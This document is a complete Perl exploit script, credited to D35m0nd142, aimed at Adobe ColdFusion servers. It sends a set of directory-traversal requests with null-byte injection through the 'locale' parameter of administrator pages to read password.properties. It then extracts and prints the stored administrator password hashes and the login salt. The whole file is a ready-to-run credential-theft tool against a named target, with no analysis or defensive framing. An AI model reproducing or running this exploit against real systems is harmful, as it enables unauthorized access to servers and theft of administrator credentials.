#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
$agent = LWP::UserAgent->new();
$agent ->agent( 'Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02' );
$target = $ARGV [0];
system ( "clear" );
print "+--------------------------------------------------------+\n" ;
print " ColdFusion Locale File Disclosure exploit \n" ;
print " created by D35m0nd142 \n" ;
print "+--------------------------------------------------------+\n" ;
sleep 1;
if ( $target eq '' )
{
print "Usage: perl cfexploit.pl <target>\n" ;
exit (1);
}
if ( $target !~ /http:\/\// )
{
}
@hosts = ( "$target/CFIDE/administrator/index.cfm?locale=../../../../../../ColdFusion8/lib/password.properties%00en" ,
"$target/CFIDE/administrator/index.cfm?locale=../../../../../../../ColdFusion8/lib/password.properties%00en" ,
"$target/CFIDE/administrator/index.cfm?locale=../../../../../../../../ColdFusion8/lib/password.properties%00en" ,
"$target/CFIDE/administrator/index.cfm?locale=../../../../../../../../../ColdFusion8/lib/password.properties%00en" ,
"$target/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en" ,
"$target/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en" ,
"$target/CFIDE/wizards/common/_logintowizard.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en" ,
"$target/CFIDE/wizards/common/_logintowizard.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en" ,
"$target/CFIDE/administrator/archives/index.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en" ,
"$target/CFIDE/administrator/archives/index.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en" ,
"$target/CFIDE/administrator/entman/index.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en" ,
"$target/CFIDE/administrator/entman/index.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en" ,
"$target/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en" ,
"$target/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en" ,
"$target/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../JRun4/servers/cfusion/cfusion-ear/cfusion-war/WEB-INF/cfusion/lib/password.properties%00en" );
print "\n... Exploiting ... \n" ;
foreach $host ( @hosts )
{
$req = $agent ->request(HTTP::Request->new(GET=> $host ));
if ( $req ->is_success && $req ->content !~ /Not Found/ && $req ->content !~ /Page not found/ && $req ->content !~ /Forbidden/ && $req ->content =~ /rdspassword=/ )
{
print "\n[+] Vulnerable URL: $host \n\n" ;
open (FILE, "> cf_content.txt" );
print FILE $req ->content;
close (FILE);
$grep = "grep 'password=' cf_content.txt > passwords.txt" ;
$head = "head -n 2 passwords.txt" ;
system ( $grep );
print "+-------------------------------------------------+\n" ;
print " [+] ColdFusion passwords: \n" ;
print "___________________________________________________\n" ;
system ( $head );
print "___________________________________________________\n" ;
sleep 1;
print "\n... Retrieving SALT ... \n\n" ;
sleep 1;
$grep = "grep '<input name=\"salt\" type=\"hidden\" value=' cf_content.txt > cf_salt.txt" ;
$salt_cut = "cut -d '=' -f 4 cf_salt.txt > cf_salt1.txt" ;
$salt_cut1 = "cut -d '\"' -f 2 cf_salt1.txt > cf_salt2.txt" ;
system ( $grep );
system ( $salt_cut );
system ( $salt_cut1 );
print "+---------------------------+" ;
print "\n [+] SALT: \n" ;
print "_____________________________\n" ;
system ( "cat cf_salt2.txt" );
print "_____________________________\n" ;
sleep (1.3);
exit (0);
}
else
{
open (FILE, ">> cf_content.txt" );
print FILE "[-] not vulnerable!" ;
close (FILE);
}
}
|